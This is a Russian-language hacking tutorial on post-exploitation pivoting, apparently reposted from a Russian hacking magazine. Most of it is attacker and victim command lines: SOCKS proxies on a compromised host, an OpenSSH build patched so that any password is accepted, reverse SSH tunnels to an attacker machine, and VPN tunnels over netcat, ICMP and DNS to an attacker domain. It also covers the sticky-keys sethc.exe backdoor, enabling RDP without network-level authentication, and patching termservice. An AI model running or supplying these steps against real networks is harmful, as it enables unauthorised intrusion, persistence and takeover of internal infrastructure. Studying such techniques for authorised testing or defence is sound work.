Проброс портов имеет одно маленькое ограничение: это статическая операция, и мы делаем отдельный проброс для каждой связки ip:port. Как правило, это нужно лишь на начальной стадии, чтобы обойти файрвол. Но если надо организовать более полноценный и удобный доступ в сетевой сегмент через скомпрометированную машину, используется прокси.
3proxy
В простых ситуациях нет ничего лучше, чем использовать 3proxy. Утилиты из этого набора программ портативные, они не требуют установки и прав администратора. Тулзы прекрасно работают как на Windows, так и на Linux и легко кросс-компилируются. Для запуска SOCKS прокси-сервера используются следующие команды (под Linux и Windows соответственно):
Код:
victim$> ./socks -d -p3128
victim$> socks.exe -d -p3128
Код:
victim$> ./proxy -d -p8080
victim$> proxy.exe -d -p8080
Код:
victim$> ncat.exe -vv --listen 3128 --proxy-type http
SSH
Возвращаясь к SSH, нужно упомянуть один упущенный ранее момент. Если тебе не удалось получить привилегии root на скомпрометированной машине, сразу же возникает ряд проблем. Во-первых, мы должны знать пароль от текущей учетки, который известен далеко не всегда. Во-вторых, если SSH не запущен, то его запуск потребует прав root. Все это, к счастью, можно исправить следующим образом:
Код:
attacker> git clone https://github.com/openssh/openssh-portable
Код:
int auth_shadow_pwexpired(Authctxt *ctxt){
return 0;
}
int sys_auth_passwd(struct ssh *ssh, const char *password){
return 1;
}
Код:
attacker> autoreconf
attacker> LDFLAGS='-static' ./configure --without-openssl
attacker> make
attacker> ./ssh-keygen
sshd_config:
Код:
Port 2222
HostKey /path/to/here/ssh_host_rsa_key
Код:
victim$> $(pwd)/sshd -f sshd_config
На Windows, где сервер SSH обычно отсутствует, можно использовать freeSSHd, который будет работать в роли прокси-сервера. Правда, для этого нам все же потребуются права администратора. FreeSSHd — это отличная альтернатива 3proxy и meterpreter, когда антивирус не дает запустить ничего подозрительного.
Рассмотрим типичный пример прохождения сетевого периметра. Вообразим, что получен доступ к серверу из DMZ. На такие серверы обычно пробрасываются только нужные порты, а значит, напрямую на прокси мы не подключимся. Вспоминаем про туннелирование портов:
Код:
victim$> ssh -N proxy@attacker -R 2222:victim:22
Код:
attacker> ssh -ND 127.0.0.1:3128 127.0.0.1 -p2222
SOCKS-прокси в качестве «туннеля внутри туннеля»
Если проблем с антивирусами нет, можно воспользоваться Metasploit, это будет немного проще:
Код:
meterpreter> run autoroute -s 10.0.0.0/8
msf> use auxiliary/server/socks4a
Используем прокси
Чтобы использовать прокси на стороне атакующего, мы можем:
- указать в настройках конкретной программы адрес прокси (тут есть минус — не все приложения поддерживают прокси);
- принудительно проксировать любое приложение (это называется «соксификация»).
Код:
attacker> proxychains nmap -sT -Pn -n 192.168.0.0/24
Кроме того, мы можем делать прозрачное проксирование, для чего используется прокси redsocks. Для его настройки прописываем в
/etc/redsocks.conf следующее:
Код:
local_ip = 127.0.0.1;
local_port = 12345;
ip = 127.0.0.1;
port = 3128;
Код:
attacker> sudo iptables -t nat -A OUTPUT -p tcp -d 10.0.0.0/8 -j REDIRECT —to-ports 12345
attacker> sudo redsocks -c /etc/redsocks.conf
attacker> nmap -sT -Pn -n 10.0.0.0/24
Проксирование все же имеет некоторые недостатки:
- проксируются только уровни OSI выше четвертого;
- скорость новых соединений невысока — порты будут сканироваться медленно;
- проксируются в основном TCP-пакеты.
VPN-туннели
VPN-туннели призваны обеспечить атакующему полноценный доступ во внутреннюю сеть или изолированный VLAN и открыть возможность для дальнейшего комфортного продвижения. Все примеры использования туннелей требуют прав администратора или root.
VPN-туннель через TCP в одну команду (L3-туннель)
В Linux мы можем очень элегантно поднять туннель, не используя настраиваемый VPN-сервер:
Код:
attacker> sudo pppd noauth pty 'nc -klp 5555'
victim#> pppd noauth persist pty 'nc attacker 5555' 172.16.0.1:172.16.0.2
Код:
victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Код:
attacker> sudo route add -net 10.0.0.0/8 dev tun0
А вот еще один способ поднять туннель, используя IPIP:
Код:
attacker> sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0
attacker> sudo ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
victim#> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0
victim#> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
VPN туннель через SSH (L2/L3-туннели)
Если на victim или attacker есть SSH-сервер, то этого достаточно, чтобы создать VPN. Сперва нужно разрешить подключение в
/etc/ssh/sshd_config:
Код:
PermitTunnel point-to-point
Код:
attacker> sudo ssh -N tun@victim -w 0:0
attacker> sudo ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
victim#> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
attacker> sudo route add -net 10.0.0.0/8 dev tun0
victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
/etc/ssh/sshd_config следующее:
Код:
PermitTunnel ethernet
Код:
attacker> sudo ssh root@victim -o Tunnel=ethernet -w any:any
victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.70/24
attacker> sudo dhclient tap0
VPN-туннели на Windows
Windows из коробки тоже поддерживает VPN (в варианте PPTP/L2TP). Более того, управлять можно из командной строки благодаря встроенному компоненту:
Код:
victim#> rasdial.exe netname username * /phonebook:network.ini
network.ini выглядит следующим образом:
Код:
[netname]
MEDIA=rastapi
Port=VPN9-0
DEVICE=rastapi
PhoneNumber=attacker
Код:
victim#> rasdial netname /disconnect
VPN-туннель через ICMP
Если выход в интернет запрещен, но разрешены пинги, то можно воспользоваться hans и в две команды создать L3-туннель (172.16.0.1 на attacker и 172.16.0.10 на victim):
Код:
attacker> sudo ./hans -s 172.16.0.1 -p passwd
victim#> ./hans -c attacker -p passwd -a 172.16.0.10
VPN-туннель через DNS
В последний раз возвращаемся к DNS. Если в настройках DNS разрешены резолвы произвольных доменов, что бывает достаточно часто, то с помощью iodine мы можем создать полноценный L3-туннель (172.16.0.1 на attacker и 172.16.0.2 на victim):
Код:
attacker> sudo ./iodined -f 172.16.0.1 -P passwd attacker.tk
victim#> ./iodine -f -P passwd attacker.tk
Подводя итог под этим разделом, я бы добавил, что использование VPN-туннелей хоть и дает комфортный доступ в сеть, все же не обязательный этап в проникновении. Если это нельзя выполнить легко, то тратить время на траблшутинг нецелесообразно. Почти всегда достаточно старого доброго проксирования трафика.
Организация GUI
Очень много проблем при постэксплуатации создают GUI-программы. Несмотря на то что мы всегда предпочитаем командную строку, от GUI невозможно полностью избавиться.
В Linux в ходе постэксплуатации, как правило, крайне редко требуется GUI — почти все программы имеют CLI-интерфейс, а система обычно выступает в роли сервера. Да и сама ОС предлагает достаточно гибкие решения для предоставления GUI.
Другое дело с Windows. У подавляющего большинства программ просто нет консольного интерфейса. Настраивают систему во многом с использованием GUI. То же относится и к некоторым хакерским инструментам под Windows. С одной стороны, в Windows всегда есть встроенный RDP для удаленных графических сеансов, но с другой — на клиентских версиях Windows, которых большинство, их использование приведет к блокировке сеанса текущего пользователя. Пользователь начнет в ответ выкидывать нашу сессию, и подобные «качели» в итоге вызовут тревогу у безопасников.
Быстрая GUI-сессия
Есть старый, но безотказный трюк под названием sticky keys, позволяющий запускать программы, не выполняя входа в Windows:
Код:
victim#> reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t reg_sz /d '\windows\system32\cmd.exe'
cmd.exe → sethc.exe, так как антивирусы такое иногда палят.Если вдруг RDP окажется отключен, можно сделать следующее:
Код:
victim#> reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f
victim#> sc config TermService start= auto
victim#> net start TermService
victim#> netsh.exe firewall add portopening TCP 3389 'Remote Desktop'
victim#> netsh advfirewall firewall add rule name='Remote Desktop' dir=in action=allow protocol=TCP localport=3389
Код:
victim#> reg add 'HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0x0 /f
Подключение по RDP с сохранением пользовательской сессии
Работает этот метод как на XP, так и на 10
Этот прием не раз выручал меня, когда требовалось запустить GUI-программу. Но увы, у него есть минус: так как полноценная RDP-сессия при запуске программ подобным образом не создается, у нас будет лишь пара минут, пока мы не отвалимся по тайм-ауту. Часто этого времени оказывается достаточно. Но если нет?
Параллельный доступ по RDP
Как было сказано, главная проблема — не заблокировать сессию залогиненного пользователя. Существует несколько решений для патчинга службы termservice и снятия ограничений на количество одновременных сессий. Наиболее проверенным вариантом оказался rdpwrap. Патчим RDP и делаем его мультисессионным одной командой:
Код:
victim#> RDPWInst.exe -i -s
Код:
victim#> termsrv_patcher.exe --patch
Код:
attacker> rdesktop victim
Выводы
Pivoting — это большой этап работ стадии постэксплуатации. Я постарался осветить связанные с ним задачи в хронологическом порядке:
- перенос файлов;
- проброс портов и обход файрволов;
- получение доступа в сеть через прокси или VPN.
Недостаточный pivoting может привести к досадной неудаче, когда был произведен взлом, получены требуемые права, но конечная цель не взята из-за каких-то технических формальностей — атакующий был за NAT и не мог принять обратный шелл или программу не удалось запустить из-за необходимости GUI, а пользователь постоянно завершал RDP-сеанс.
Видно, что многие приемы pivoting можно использовать без прав администратора или root.
Существует некий стереотип, что после получения доступа к системе следует обязательно поднять привилегии. Да, административные права — это, конечно, хорошо. Однако на моей практике было два показательных случая, когда проникновение происходило и с Windows, и с Linux, причем без прав суперпользователя. Быстрые попытки поднятия привилегий не привели к успеху, но так ли это было нужно? Даже без административных прав атакованные системы вполне можно было использовать для пересылки трафика во внутреннюю сеть, в которой найти уязвимый компонент и получить на нем полные права, как правило, не так уж и сложно. В результате в обоих случаях контроллеры доменов пали и вся внутренняя инфраструктура была захвачена.
Даже одна, самая незначительная RCE может привести к фатальным последствиям для всей инфраструктуры, всего бизнеса. Никакие файрволы и прочие превентивные меры не способны сдержать хакера, который уже успел проникнуть в сеть.
Автор @s0i37
источник: хакер.ру